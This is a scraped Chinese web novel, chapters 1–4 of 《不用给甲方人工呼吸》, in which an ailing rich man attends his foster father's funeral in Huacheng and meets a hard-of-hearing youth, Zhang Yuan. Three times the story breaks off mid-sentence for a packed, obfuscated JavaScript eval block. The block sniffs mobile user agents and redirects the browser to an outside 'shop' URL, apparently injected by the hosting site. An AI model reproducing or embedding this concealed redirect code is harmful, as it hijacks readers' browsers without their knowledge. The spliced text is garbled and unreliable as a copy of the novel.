《不用给甲方人工呼吸》 1. 序章 季苇一恢复神志的时候，张渊正把手指放在他颈上。 近一个月以来，他已经是第三次类似经历这样的体验。 头一次只是一瞬间的恍惚怔忡，在骤然起身时发作。他晃了一下，即刻被人扶住站稳。 多年贫血，血压也偏低，季苇一只当是一过性的体位性低血压发作，并没有怎么放在心上。 第二次他孤身一人在卧室里摔倒，或许有那么几秒钟失去了对身体的掌控，但自觉并没有真的失去意识。 只是衣服被汗水打湿，运动手表检测到摔倒，询问是否一键呼救。 他点了拒绝，爬起来翻上个月的体检报告，犹豫要不要给医生打个电话。 忽然有工作电话进来，事情很急，把他的注意力全部夺走。吃点东西之后，方才那一瞬间的无力感恢复到日常程度司空见惯的虚弱疲惫。 所以就没打。 这一次，他和张渊吵架——准确来说是他在单方面质问张渊。 对方上午在片场刚弄坏了助听器，只看着他脸上的怒色愣愣站在原地。 季苇一才想起他听不清楚，只记得自己又生气又无奈，深吸一口气想要把火气压一压，意识就消失在那一刻。 屋里没开灯，窗帘很厚，漆黑一片。 张渊起先没发觉他醒了，还在他脖子上摸，一双手抖得厉害，摸来摸去找不到脉搏在哪儿。 季苇一意识到自己应该是仰面摔在了床上，暗道一声这晕得还挺会挑地方。 除了后腰硌得很痛，至少没摔到脑袋也没磕掉门牙。 张渊还没来得及动他，料想晕厥的时间很短。 “没事，”他轻轻在张渊手上拍了拍，开口才发现自己的声音小得要命。 只说了两个字，胸闷气短的感觉又涌上来，他不得不张开嘴用力呼吸。 张渊看着季苇一，没有助听器又看不清口型，他大概什么也没听懂。 只把手放在季苇一的心口，摸到一颗心扑通扑通，跳得很快。 季苇一猛然攥住那只将要离开自己胸膛的手：“没事，”感觉到张渊俯身把耳朵凑到他嘴边，他又重复一次，说得很慢：“别担心，别打电话。” 虽然心脏正跳得很乱，即便是他，这种程度的心慌似乎已经很久不曾有过。 加上突如刚刚其来的晕厥——如果之前那两次还都解释为只是有一瞬间血没泵到头顶的话，这一次看起来怎么都得称得上是晕厥。 到底有事没事，他其实也判断不了。 但是卡在这个档口上，季苇一特别不想把事情闹大。 尤其是知道这一个电话拨出去，与他相熟的医生立刻就会把情况捅到他家人那里去。 接下来，他的家人就会认为他刚从家里搬出去恢复工作不到一个月，就成功地把自己照顾进了医院，进而得出他果然不应该离开家生活也不应该进行有强度的工作的结论。 医院是应该要去的，但最好还是改天偷偷摸摸地去。 他捏捏张渊的手指：“帮我把药拿来。” 等到张渊站起身，季苇一才发现自己刚刚失去意识的瞬间撞翻了床边柜上的一盏玻璃灯。 那灯是搬家时逛家具城买的，装饰意义大于照明功能。是用彩色的碎玻璃黏合成一只五彩斑斓的金鱼，成年人两只手能捧住的大小，放在床头不开灯也能当个摆件。 他很少关注这些东西，是那天发现张渊驻足不前，以为他喜欢才买下来，回家后却被张渊摆在他卧室的床头上。 现在跌在地上摔得粉碎，真从碎玻璃艺术制品变成了碎玻璃。 张渊刚才直接扑跪在床边，根本没顾得上避开满地的玻璃残骸，一站起来就有玻璃碴子顺着他的裤腿噼里啪啦往下掉。 隔着夜色，季苇一看到他牛仔裤上有斑斑驳驳的深色印记。 屋里太黑，看不清印记具体的颜色，季苇一疑心那是血迹。 张渊脸上未见痛色，只有满面紧张担忧与隐约的茫然，端着水杯和药走过来，毫不犹豫又要往床边跪。 季苇一火气顿时又涌上来，不知道忽然哪里来的力气，撑着床挣扎着坐起来，劈手从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740140|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他掌心夺了药直接塞进嘴里。 没有水，他口中干涩，药片黏在舌头上，苦味迅速蔓延，遍布味蕾。。 苦得他有点想吐。 季苇一强忍着把药往下咽，很不巧又卡在喉咙里。 摩擦造成的疼痛和逐渐扩大的苦意逼迫他妥协般从张渊手中接过了水。 对方没有松手，双手仍托在杯底，眼看着他终于把药咽下去，像是松了一口气的样子。 季苇一绷住的那口气随着药品一起落下去，身体一软，仰面砸回枕头上。 半腔无奈半腔气一并跌进蓬松的羽绒枕头里，他散落的头发弹跳一下，遮住半张脸：“把灯打开。” 张渊依言照做，屋里骤然亮起来，因为有层发丝构成的帷幕遮挡，季苇一没觉得眼睛很痛。 他隔幕看过去，张渊开了灯，就站在开关处。青年望着他的眼睛一眨不眨，白眼球上沁着红。 另一手仍捧着杯子，安安静静地站着。 有液体从他指缝里滴落下去，滴在裤子上，和那上面本就存在的湿痕融为一体。 暗红色，斑斑点点，季苇一终于确定那是血。 他喉头发紧，想喊张渊过来让他看看。 又觉得听了张渊刚刚的话，此时此刻，他断不能再像过去一样同他相处。 思来想去，左右都十分头大。 不就是捡个了人回来拍电影吗，怎么就弄成这个样子了呢？ 现在的小孩简直太有个性，他搞不定。 怪冯帆好端端地爹瘾发作，非要捡个孩子来养，养到一半自己又去世，倒让他碰见了张渊。 又怪他爸妈生在红旗下还搞什么封建迷信，不知道听了哪里找来个招摇撞骗的，扯什么三十二岁要碰上天乙贵人化去命里一劫。 分明孽缘一段，他和张渊谁是谁的坎儿差不多。 如此种种，搞得他和张渊的纠葛，倒像是什么命中注定一样。 这算什么，桃花还没开，先碰上桃花劫了？ 当初……当初到底是怎么就碰见张渊了呢？ 2. 总不能叫同志 已是早春四月初，偏遇上倒春寒。桦城夜里下了雪，清早方才放晴。 天空很蓝，又干又冷。 酒红色的迈巴赫停在路边，车顶积着一层薄雪，底盘下的柏油路面干干净净。 从落雪前，车就一直停在这里。 上午七点，车载蓝牙响起铃声。 没人接。 车里有人，驾驶位的座椅放得半躺，季苇一靠在座位上侧着头，半张脸压在皮质的座椅头枕上，愣愣地盯着落下半扇的窗户。 看到落在窗玻璃上的两片雪花被车内的暖风空调吹得融化，拖着尾巴掉下去。 直到无人应答的电话自动挂断，几秒之后再一次拨过来，季苇一才如梦方醒，猛地坐直身体接起电话。 “哥？” 季津的声音顺着喇叭冲出来：“你怎么不接电话！” “我、”季苇一只停顿了不到一秒，托辞张口就来，掩着嘴打了个哈欠，含含糊糊：“我在睡觉。” 话音未落，一辆运渣土的大货车挨着季苇一的车呼啸而去。 噪音与尾气夹着飞扬的尘土灌进车里，季苇一皱着眉头要去关窗，季津在那头已经气笑了：“睡觉——你这哪儿是睡觉？哪有人在大马路上睡——” 季津顿了一下，忽然问：“小舟，你昨天晚上不会真睡在车上吧？” 季苇一让尾气呛得嗓子发痒，低低咳嗽两声，这下是真含糊了：“嗯……我是在路上，刚上路，怕你说我起得早。” 边说，边狠狠用手点了控制窗户的按钮。 季苇一是正经八百的老来子，怀他的时候爸妈都四十多了。他是老二，上面有个亲哥季津，两个人之间差着十几岁。 不知道是不是因为父母年纪的缘故，他天生心脏没长好，这里缺损那里狭窄，出生第三天就进手术室，后来又断断续续大修小修好几次。 这毛病目前根治不了，手术和药物能让他活，但终究不能活得跟大多数人一样。 他家里父母兄长身体都健康的要命，独他一个病秧子，多年来捧在掌心怕坏了，含在嘴里怕化了。 季津这两年基本上接了家里的班，在外是源海集团雷厉风行的CEO，一到他跟前就跟幼儿园老师似的。 隔着电话，还真让他给猜着了——昨晚连夜开车，季苇一确实只在车里浅睡了一会儿。 季苇一急于结束对话，他打盹的时候怕一氧化碳中毒，给左右窗户都留了缝隙。 原以为暖风开得够大就不怕冷，多年不来，忘了桦城这地方冬天能冻死醉汉。 夜里那场雪让他受了寒，现在感冒症状正在渐渐浮现，一咳嗽就有点停不下来。 季津马上开始念经：“小舟，我知道你着急，但是你离开家之前是怎么答应我们的。你说就算赶不上——” 季苇一打断他：“不急了。” 他声音小，季津没听清：“急你也要休息啊，你——” “我说不急了。” 季苇一深吸一口气，又很轻很缓地呼出去，像是还有一部分残留在肺里，压得嗓子发紧：“赶不上了。” 今天早上，浅眠中的他被电话惊醒，接起来就听到了冯帆已经去世的消息。 这下是季津真说不出话来，隔着电话沉默许久：“那、你慢慢开。小舟，他……冯叔也八十岁了，你别太难过。” 季苇一“嗯”了一声，手指轻点屏幕，挂断电话，推门下车。 车里空调开得太大，他几乎忘了外面气温还在零下，身上只穿了一件深蓝色的高领毛衣，羽绒外套还丢在车上。 精纺的美丽诺羊毛轻柔亲肤薄薄一层，美丽冻人不顶事，风吹得他打了个哆嗦。 感冒对他而言十分要命，季苇一正要回头去取衣服，远处忽然哗啦一声水响。 来了！ 他将双臂抱在胸前，朝响声的方向走去。 旁边是一条河，沿岸栽着一排杨柳树才冒新芽。河水平缓，水面微带波澜，太阳底下金光闪耀。 挺美的，但河边的浅水上还有冰碴子呢。 而等一个在这种天气里下河摸鱼的人，季苇一已经在这个地方守了几个钟头。 这条河是松花江的某条分支，每年这个季节，会有一种特别的鱼溯流而上路过这片水域。 特别的点在于——特别好吃。 因为肉质鲜嫩刺还少，桦城人早些年捉得很放肆，差点就把这鱼捉到绝迹。后来市政府下了禁令，不让撒网电鱼，只允许私人垂钓。 毕竟钓鱼佬的日常就是空军，钓得没有喂得多。 季苇一小时候讨厌一切荤菜，一吃就吐。 按照中医的说法可能是气血不足脾胃虚弱无法克化之类的。他自我感觉是大部分的荤菜都腥，放进嘴里就恶心，水里的东西尤甚。 但冯帆沉迷于给他捞鱼。 他四岁的时候经历了第三次手术，按说手术成功症状改善，但日常仍小病不断，大半时间住在医院里。 季家父母不知道是因为做生意还是他身体的缘故，那几年迷信程度变本加厉。 季苇一至今不知道当时到底是问了哪门哪派的哪位大师，总之最后的说法是不能放在家人身边，要给他找个八字相合的人养两年。 找来找去找到冯帆。 季苇一家祖上是从桦城来的，冯帆应该是他家某个远方亲戚的近亲，血缘上没什么联系。 但冯帆对他，确实就像对自己的孩子。 季苇一待在京城父母身边时悉心娇养在温室，恨不得每天连家里都用空调吹成恒温的。 冯帆却觉得小孩子就像小花小草，闷在家里不见天光就长不好。 哪怕那时候季苇一体力差到多走两步就喘，冯帆也挑着天气好的日子把他背到河滩晒太阳。 那时候岸边还没栽行道树，只用土坡堆了坝。季苇一就坐在坝上看书，冯帆提个铁皮桶下河摸鱼。 傍天黑再把他背回家，现捉的活鱼片出肉来煮粥。 生滚鱼片粥里撒满葱花白胡椒，米粒煮得开花，鱼片入口即化。鲜甜的粥水里没有淡水鱼常见的土腥味，热腾腾滑落进胃里。 吃着那粥，季苇一就这样一天天的长大了。 他父母一直觉得他身体好转多亏了大师铁口直断。 但季苇一始终认为那是江风和鱼汤的功劳。 他记忆里的桦城是冰与火的城市，干燥锐利的北风卷起煤炭燃烧的黑烟，铁水滚烫，金属冰冷。 唯独河水弯弯，饱浸柔情。 忘川河里想来没有故乡的鱼，季苇一决定带着这鱼去见冯帆。 市场上这鱼已经很少见，当然他不可能会自己去钓，只能守在河边等一个使用钞能力的机会。 天气太冷，他心里其实打鼓，没报太大希望。 没想到等来的不是钓鱼佬，是敢在零下气温下河的摸鱼侠。 季苇一向河中那人投去目光。 河水结冰的温度，那人竟只穿了一件单衣，洗得发白的黑衬衫袖子卷到手肘上，裤腿也固定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740141|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大腿根，看起来该死得抗冻。 弯腰时垂下的头发挡住了他的面容，只看出身量高挑瘦长的，像是挺年轻。 他闷头捉鱼，弓着身子，动作灵活到有些惹眼。 每次都先是凝视水面，然后猛然下扑，甩着尾巴的活鱼随着水花一并离水。 太轻易，仿佛捞的不是一尾游鱼，而是静置在水底的鹅卵石。 季苇一自己虽然和运动基本绝缘，但投过不少古装戏和动作戏，时常兴起会去片场看热闹。 通常而言，这种干练有力的动作只能在武行身上看到。若是哪个艺人有这等身手，是要拍多角度花絮大吹特吹的。 看着青年几乎是不歇气儿地把鱼扔进桶里，一时竟有些入迷。 直到对方拎起桶要走，才想起自己其实是来买鱼的。 季苇一准备喊一嗓子，张嘴要喊什么又犯难。 觉得那人微妙地卡在一个叫哥们太小，叫同学太大，叫小师傅像和尚，叫小兄弟像葫芦娃的尴尬境地。 总不能叫同志…… 最后干脆直接开口：“你好——鱼卖吗？” 这一句喊得挺大声，抻得他嗓子锐痛，然而河里那人头也不回地往远处走，像是压根儿没听见似的。 季苇一又连喊了几声，始终没能把人叫住，眼看对方就要上岸。 他实在太想要那鱼，犹豫片刻，很没礼貌地拾起岸边一块石头，往水里掷去。 打水漂也是冯帆教的，一翻十几个跟头，最后擦着河里那人大腿过去。 对方果然终于回头看。 季苇一于是朝他挥手，几乎是用生平最大的音量喊道：“你好！我想问问，你捉的鱼卖不卖？” 尾音劈了叉，喉咙一紧，“卖不卖”三个字都卡在嗓子眼里。 青年没有答话，然而确实朝他走过来。 深一脚浅一脚一步一个窟窿地淌着浅水处的薄冰来到岸边，双手撑着栏杆，翻身上岸。 他袖子河水浸湿了一段，湿淋淋贴在手臂上，露出来的一截小臂随着肌肉发力把衣服绷得很紧。 就像一张拉满的弓，弓弦破空，摩擦空气发出锐响，而后稳稳落在地上。 季苇一忍住嗓子里的痒意，朝他看去。 眼前的青年大概十七八岁的模样，身量已足，脸还有些青涩，微妙地卡在男人与少年之间的状态。 五官挺立，眉骨很高，偏生一对棱角很少的眼睛。 头发剪得很短，没有刘海遮挡，那双眼睛毫不掩饰地看向季苇一。 沉静而锐利的漆黑瞳仁撕开白日，像淬火之后刚刚出水的铁器。 紧接着，他低下头去，往裤子上蹭两下手上的水渍，从上衣口袋里掏出一个用塑料袋裹住的东西，塞进耳朵里。 助听器。 青年伸手点了点自己：“叫、我？” 声音低沉，语调略显生硬，有点像中文半生不熟的外国人，每一个字都拼命用力，但说得很清楚。 季苇一忽然语塞，不确定对方能不能听懂自己的话。 他嗓子哑了，用力也发不出多大声音，只好把每个字都说得很慢：“鱼，我想问问你，鱼能卖给我吗？” “不行， ”对方摇摇头，“要、拿去葬礼。” 他说完，转身要走，忽然又回过头。 冲着还站在原地的季苇一问： “要鱼、做什么？” “我也是。”季苇一偏头，露出个轻飘飘地笑来：“我也拿去葬礼。” 3. 水土不服啊？ 张渊盯着季苇一，准确来说，是盯着他的嘴。 他双耳的听力都不好，仅有的陈年老助听器戴在相对较强的那一侧，要识别人声仍比较艰难，听得见却常常听不懂。 对方声音很小，他得靠努力读唇才能勉强理解。 眼前一张一合的两片唇苍白失色，唇的主人整个人都看起来是一副气血不足的模样，有几分缺乏生机的惨然。 ——这倒也没什么奇怪，谁去奔丧心情都不会太好。 只是他五官实在精致，越是惨淡，反倒越显得有点不食人间烟火。 就连被高领毛衣压住的脖子上的一根青色血管都仿佛都恰到好处。 张渊想起多年前听过的一句老话：女娲造人时偏心，有人是亲自拿手捏出来的，有人是用树枝甩出来的泥点子变的。 女娲手作转了一下手里的钥匙：“算是有缘，我载你一程吧。” 张渊没听见车门解锁时的响声，但顺着对方手指的方向望去，看见不远处酒红色的轿车尾灯闪烁。 他没答话，抖开刚刚用来装助听器的袋子，从桶里装点水，徒手抓两条鱼塞进去。 离水的鱼拍打着尾巴奋力挣扎，冷不丁劈头盖脸溅了季苇一一身。 他平日里被养得十指不沾阳春水，家里一楼厨房开火的时候，关门开着油烟机还得嘱咐他不要下楼。 活鱼的洗澡水袭来，他本能地后退了一步。 装了鱼的塑料袋紧跟着递到他眼前：“给你。” 季苇一蹭掉脸上的水渍：“多少钱？” 对方摇摇头：“送给你。” 季苇一愣了愣：“为什么？” 青年站在原地思索片刻，没有回答，把手里的塑料袋口扎紧，放在地上：“给你。” 说罢，提着他的铁皮桶扭头就走。 季苇一想拦他，一句“哎——”字刚出口，一口冷风呛进喉咙里。 他掩着嘴猛咳一阵，咳到弯下腰来撑住膝盖，苍白的脸上都震出红晕。 再直起身时，青年已经走出去挺远。 季苇一远远地喊：“你叫什么名字？” 对方脚步确实是微微顿了那么一顿，然而终究没有回头。 他迎着朝阳走去，消失在光晕里。 估计是没听见，季苇一想。 忘了他听不见。 塑料袋里的两条鱼你挤我我挤你地乱窜，季苇一俯身将袋子提起来，把自己和鱼一并塞进车里。 暖风扑面，热意一激，季苇一忽然才又想起冷。拿过羽绒服胡乱裹住自己，肌肉的颤抖一时竟难以抑制，仿佛骨头缝里都让寒气浸透了。 这才后知后觉自己好像是作了回死。 他长这么大，总是又怕死，又经常作死。 他把鱼挂在副驾驶的门把手上，狠踩油门，开车上路。 昨夜的积雪被太阳晒化，柏油马路上亮晶晶的。 季苇一驾车趟过去，车轮飞驰，酒红色的车身上溅得到处斑斑点点，淌成惨不忍睹血肉模糊的一片。 他一直开，开到一家殡葬用品店门口。 没有参加白事的经验，挥挥手说让老板看着弄点，捡贵的好的，只管把后备箱塞满为止。 他那辆迈巴赫在小小的桦城县城里实在惹眼，几乎是在脑门上纹着我很有钱几个大字。 店老板抱着富贵主顾一顿猛薅，招呼着店员捡最贵的纸扎元宝往他后备箱里狂塞，边塞边跟报贯口一样给他介绍。 从不知道这东西还有这么多讲究，季苇一立在车旁，有一搭没一搭地听着。 成箱成箱的纸制品塞满后备箱，他感觉自己也在被一股巨大的疲惫填满。 活该他累—— 连日开车奔波，这两天他连八个钟头都没睡上。 唯独今天凌晨扛不住在车上打个盹的功夫，冯帆的死讯还猝不及防就来了。 惊得他一颗心脏突突乱跳，冲下车连药带胆汁都吐个干净。 到现在胃里还是空的，水都没怎么喝过。 到底最后一面也没见上，现在倒是不用急了。 冯帆生前最后几天被从医院带回村子里，季苇一没细问，也知道是打算要土葬。 按照当地的规矩，他该赶在今晚守灵和第二天早上出灵之间的功夫去烧纸磕头，去早了也不合适。 季苇一放弃在街上当游魂，拎着青年留给他的鱼找宾馆开了间房。 虽然已经很累，进屋第一件事还是洗澡。 花洒一开，弥散蒸气好像能把眼皮黏住。 季苇一从浴室出来，头发都没来得及吹干，就倒在床上陷入了昏睡。 这一觉睡得极沉，既没有故人入梦，也不见新交叩门。 当季苇一再次醒来时，天已经黑透了。 狭小的空间被暖气片烘烤得很热，他入睡时又盖了棉被，结果发了满身大汗，贴身的睡衣几乎能拧出水来。 体内水分过度蒸发，他口干舌燥，在困倦中摸到酒店赠送的矿泉水，胡乱地往嘴里灌了几口。 冷水落进空了十几个小时没有食物入账的胃里，腹部的肌肉在锐痛中骤然收缩。 季苇一压着上腹倒回床上，不知道到底是胃痛还是心脏不适。 整个身体都跟着绷紧，趴在被子上呜咽了一声。 身体一时痛得无法移动，他摸不到药，只能闭眼咬牙自己忍着。 忍到浑身不可抑制地发抖，刘海都被冷汗打湿。 季苇一窝在床上，少爷脾气发作，在疼痛里升起点没有道理的委屈。 莫说是待在家里人身边，但凡是他听了季津的话让司机跟过来，怎么也不至于连口热水都喝不上。 当然也绝不可能日夜兼程，饥一顿饱一顿，睡在县城的小宾馆里。 苦挨也怨不得别人，纯是他自己作的。 季津早说要推了工作亲自来陪他，是他自己执意不肯，别扭了好一阵子。 还是他母亲丛然怕他把自己怄出病来，最后点头同意他自驾出门。 火急火燎地赶两天路，临了临了还是慢了一步。 跑了几百上千公里，只来得及去烧点纸钱。 他把手掌用力压进上腹，缺乏脂肪的保护，几乎感觉隔着薄薄一层皮能摸到里面的器官。 但这办法确实奏效，汗珠在被子上晕开水渍，尖锐的疼痛渐渐化为隐痛。 他攒攒力气爬起来，临出门才想起上午得来的鱼还被挂在门把手上。 塑料袋口被青年扎得很紧，他缺乏生活经验忘了松开，两条鱼已经因为缺氧翻起白肚皮。 死了，不新鲜了。 他心里一阵翻腾：冯帆从没给他吃过不是现宰的鱼。 可他看着鱼的白肚皮，不知怎地忽然想起今早那双漆黑的眼睛。 季苇一叹口气：得了冯叔，这是不知道从哪位嘴里硬抠出来的，兴许黄泉路上还要一起作伴。 别太挑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740142|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他解开塑料袋拎在手里。 出门见风，更觉得手脚发软，掌心冒冷汗。 饿低血糖了。 冬日晚上十点多的镇子上除了路灯几乎没有亮光，目之所及，连一家还在营业的便利店都找不到。 季苇一只好回酒店讨一杯热糖水。 前台小哥翻出一袋冰糖往季苇一掌心倒了两粒：“凑合吃点吧哥们，咱这儿也没后厨啊。” 见他掏出钱包来，很大方地摆摆手：“不用给钱，两块冰糖算啥。” 又瞅瞅他的脸色：“咋着，水土不服啊？给你整点藿香正气水不？” 此物堪称当地人心目中的灵药，中暑腹泻发热都要灌两口。 但是难喝。 季苇一忙冲他摇了摇手，把冰糖塞进嘴里。方形糖块甜得直白发齁，含在舌头上有滑涩涩的痛感。 借着这点宝贵又廉价的糖分，他才勉强把车开到村子里。 冯帆一辈子都在桦城下面的镇上过，季苇一在冯帆身边五年，只在十岁生日的那个冬天跟他回过老家的村子。 时隔多年，小时候的热闹全然消失。 北风吹着小平房，屋里传来二人转班子哭丧的声音，凄凄惨惨寂寥落魄。 季苇一走进去，棺材停在院子里，冯帆的儿子冯成业守着火盆烧纸。 院里还有两个帮忙的亲戚，都是生面孔。 然而估计从衣着打扮和那辆车上猜出季苇一的身份，不加掩饰地斜着眼睛在他身上扫来扫去，窃窃私语。 冯成业倒是急忙站起来，嘴上招呼得很热切： “小季！你说怎么就没赶上呢！我爸临走之前还惦记着你呢！” 他脸上半滴泪也没有，说这话的时候却强做个哭脸，眼下两块肌肉一紧一紧，活像□□的腮帮子。 季苇一“嗯”了一声，把手里拎着的两条鱼交给他，不冷不热：“冯叔生前喜欢这鱼。” 空出手来，去棺材前绕了一圈。 人已经入殓了，棺材盖子合着，什么也看不见。 季苇一静立片刻，招呼那两个亲戚把后备箱里的东西搬进来。 这一堆纸扎倒也花了不少钱，但纸钱只能给死人用，人民币才能给活人花。 冯成业左等右等，还没等到季苇一要掏钱，眼窝子太浅，这就忍不住。 “小季，你看，你冯叔当年对你也当自己的孩子一样，你这么多年也不常走动……” 季苇一本来专心看他们搬纸钱，听了这话，偏过头来冲冯成业轻笑了笑。 火光照映，光斑爬上他半张脸，晃出喜怒混杂神情莫测，庙里神像一般。 冯成业被他这一瞬的表情骇了一下，本能地后退一步。 皱起眉头正要说点什么，就听见亲戚在叫：“张渊？” 夜色里迈出个人来，瘦高，锋利，提着铁皮桶。 他的自行车停在门口，想必是一路骑过来，桶里的水都结了一层薄冰。 他走过来，停在季苇一面前。 四目相对，季苇一恍然大悟。 世界这么大，桦城又太小。 闹了半天，鱼都是给一个人的。 他于是向青年伸出手来：“季苇一，谢谢你的鱼。” 对方没有回握住他的手，只是眨了眨眼睛。 “我知道你，季、苇、一，” 他以一种异常铿锵的方式念出季苇一的名字：“冯叔说，你是他的孩子。” 4. 很烫 冯成业看见张渊铁皮桶里的鱼和季苇一送来的一模一样，不禁在心里破口大骂。 草！怎么一个两个都拿这东西来打发他！ 对他而言，这位季少爷人来不来是无所谓的，只要钱到位了就行。 他老子冯帆，一辈子安分守己没啥大出息，在镇子上当个月薪四千的小职员。 今生今世离发财最近的时刻，就是机缘巧合之下，给这位娘胎里就带着病的季少爷当了几年“干爹”。 季苇一在的那几年，季家实在是没少给冯帆送钱。 虽然是花钱办事，但两个人感情却很深。即便是回家之后，季苇一还和冯帆常有走动。 只是前些年不知怎么的，忽然就不来往了。 冯成业早年做生意赔了不少，靠冯帆把窟窿补上之后就一直没有正经工作，手头紧时三番五次追问冯帆关于这位季少爷的事情。 奈何冯帆一直闪烁其词，最后只解释说什么季苇一前些年大病一场差点没挺过来。 他原以为是季家迷信，早年给季苇一大老远找了冯帆当干爹是因为听着算命先生的话。 后来病情反复又算出什么新的说法，于是翻脸无情。 一直憋到冯帆快不行了，才抱着碰碰运气的想法联系上了季苇一。 不想对方却很殷切，赶着要来跟冯帆告别。 他虽然不知道冯帆和这位之间到底发生过什么，然而从季苇一的态度里嗅出些有机可乘的味道。 连夜请了二人转戏班子办白事，也没抱着多少要给冯帆风光大葬的心思，只想把悲情氛围做足，好从季苇一手里讹上一笔。 至于张渊，这人在他这儿就跟个扫把星似的，一见就觉得晦气。 怎么居然还搭上了季苇一的弦儿。 张渊压根儿没理冯成业，只冲着季苇一点了点头。 提着鱼走到棺材面前，慢慢跪下来，沉默地在地上磕了三下。 冯成业忙凑回到季苇一跟前：“呦，这么巧呢，小季你认识这小子？” 季苇一抱臂站着，没有说话，目光追在张渊身上。 冯成业干笑两声：“我爸之前的邻居，他妈去得早，他爸又欠债跑了。剩他自己一个半大孩子，耳朵又不好使。你冯叔你是知道的，心太软，从来见不得这样的事儿。平时没少花钱接济他，又给他想办法找了个谋生的买卖。” 这话倒也是实话，但还有一半冯成业没说： 冯帆刚招呼张渊来家里的时候，他觉得来了个占便宜的，原本想方设法要把人赶走。 直到后来有人讨债上门，几个人把冯帆和张渊一并堵在单元楼里。 冯帆本来护着张渊喊他跑去报警，推搡之中摔在地上。 张渊从地上捡起半块砖头以一敌五，愣是把对面两个成年男人开了瓢。 冯成业那会儿正好找来冯帆，隔着老远恰好目睹了这一幕。 当年的张渊才不到十五岁，实打实的未成年。 再加上暴力讨债本来也违法，对面没出大事也不敢报警，这事就这么不了了之。 倒是冯成业，自打见过张渊一语不发骑在人身上猛揍，后脑勺被啤酒瓶子敲了一下也不歇气的架势。 从此之后不敢招惹他。 也就这半年，冯帆查出癌来住了院，不愿意把张渊耗在医院里伺候自己，开始主动躲着他。 冯成业更生怕他背地里要给张渊留什么好处，严防死守不让他俩见面。 张渊起先总在医院附近徘徊，某天终于不再出现。 没想到两个月没见，也不知哪里得来的消息，居然能精准地卡在给冯帆守灵的时候找过来。 来得早不如来得巧，要是真能加入卖惨素材包从季苇一那里挖点钱出来，他倒也没白忍这人好几年。 见季苇一仍然沉默，冯成业猛地在他肩上拍了一下：“说到底，你俩都算是我爸养大的。要我说，还是因为因为老冯舍不得你，看见小孩就爱往身边带，估计也是想起你来了。他过得不容易，我也希望多帮衬帮衬，只是我这些年手里也紧巴，老冯又没少往这小子身上花——” 冯成业话音未落，张渊已经从地上爬起来，忽然朝他们走来。 寒夜里，他半垂着头，慢慢踱到他与季苇一中间，无声无息地将他们隔开了。 季苇一皱着眉头掸了掸被冯成业拍下去一块的羽绒服，几秒钟的功夫，已经觉得暴露在冷空气里的手背冻得发痛，又揣进口袋里。 头也不抬地问张渊：“这么说，你也是冯叔的孩子？” 张渊愣了愣，摇摇头：“我不知道。” 季苇一于是撇了一眼冯成业。 对方忙一拍大腿：“哎呀，你这孩子，冯叔对你可不就跟对自己孩子一样，怎么还说不知道呢。都是自家人，他不好意思说罢了！” 季苇一便笑：“既然是自家人，我也确实该帮忙照顾着。帮一帮冯叔的孩子，也算是我给冯叔尽孝了。” 冯成业忙不迭附和：“是是是，这么多年走动的少，你冯叔也不容易……” 他打断他，转头看着张渊：“留个电话，把银行卡号发给我，我叫人给你转十万块钱过去。” 冯成业差点咬了舌头：”不是，”他刚刚脑子跟着季苇一跑了，稀里糊涂给自己绕进去，这才反应过来钱怎么要揣进张渊兜里：“他一个小孩怎么好拿这么多钱，我的意思是——” 张渊忽然自下而上抬起眼皮。 火光照亮他那双瞳仁漆黑的眼睛，冯成业冷不丁和他对视，忽然觉得对方像是埋伏在树荫腐叶中的一条蛇。 隐于夜色，沉默地吐着信子。 “我不要钱。”张渊低声说。 他朝冯成业慢慢逼近过去，一字一顿：“不、要、钱。” 冯成业后退两步，背过脸去，恶狠狠冲着墙根下啐了口痰。 冯帆捡回来的小崽子，邪里邪气。 他不敢再说什么，憋着气回到火盆扔纸，黄纸乱飘，火苗猛然窜得老高，竟舔着了他脑袋前面一绺子头发。 蛋白质燃烧的焦糊味儿逸散开来，冯成业嗷得一声跳起来，骂骂咧咧。 季苇一隔着张渊看他跳脚，在黑夜里无声地笑了笑。 一笑嘴里就灌风，剧烈燃烧的火盆冒着黑烟，吸进肺里，有一种灼热的疼痛。 燃烧中的纸屑被冷风卷到空中，又化成灰烬落在青年的头发上。 他没有躲，迎风笔直站着，拿圆圆的后脑勺对着季苇一。 季苇一再次问出那个早上在湖边没能得到答案的问题：“你叫什么名字？” 青年人便回过头来：“嗯？” 他重复一次：“名字，你叫什么名字？” 对方听人说话时，总把把带着助听器那侧的耳朵偏过来凑近，同时注视说话人的嘴。 季苇一暂时没有办法判断他到底是通过什么方法获取信息，只能尽量凑近他。 便看到对方嘴巴的开合，呵出缕缕白气。 “张渊。” 季苇一退开一点：“嗯？” 正逢二人转班子演到高潮，中气十足的一声哭喊。 